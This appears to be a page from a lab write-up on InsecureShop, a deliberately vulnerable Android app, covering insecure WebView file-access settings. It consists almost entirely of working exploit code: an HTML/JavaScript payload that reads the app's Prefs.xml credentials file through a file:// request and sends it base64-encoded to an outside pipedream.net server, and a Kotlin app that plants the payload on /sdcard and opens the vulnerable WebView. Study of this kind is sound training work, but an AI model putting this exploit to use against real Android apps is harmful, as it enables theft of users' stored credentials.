πVulnerability #12: Insecure Webview Properties Enabled

PreviousVulnerability #11: Intent Redirection (Access to Protected Components)NextVulnerability #13: Intercepting Implicit intent to load arbitrary URL
Last updated

Last updated
<html>
<head>
</head>
<body>
<script type="text/javascript">
function exfiltrateFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
//req.overrideMimeType("text/xml");
req.onload = function(e) {
/* some debug stuff, as an attacker you would want to perform this silently
document.write("did we receive the file?");
document.write(req.responseText);
*/
callback(btoa(req.responseText));
}
req.onerror = function(e) {
document.write("error again fuck");
callback(null);
}
req.send();
}
// file we need to exfiltrate, contains app credentials
var file = "/data/user/0/com.insecureshop/shared_prefs/Prefs.xml";
exfiltrateFile(file, function(contents) {
document.write("we reach exfiltrateFile right?");
var exfil = new XMLHttpRequest();
// place attacker server here
exfil.open("GET", "https://encn0rhq3ml1a.x.pipedream.net?file=" + contents, true);
exfil.onload = function(e) {
document.write("</br>[+] File successfully exfiltrated to remote server");
}
exfil.onerror = function(e) {
document.write("error again fuck");
callback(null);
}
exfil.send();
});
</script>
</body>
</html>class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// write pwned.html to a publicly accessible directory (e.g, /sdcard)
var readfile = BufferedReader(InputStreamReader(assets.open("pwned.html"))).readText()
var payload = File(Environment.getExternalStorageDirectory().absolutePath, "pwned.html")
payload.writeText(readfile)
// start the vulnerable webview
var exploitIntent = Intent()
exploitIntent.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
exploitIntent.action = "com.insecureshop.android.WEBVIEW"
exploitIntent.addCategory("android.intent.category.BROWSABLE")
exploitIntent.putExtra("url", "file:///sdcard/pwned.html")
startActivity(exploitIntent)
}
}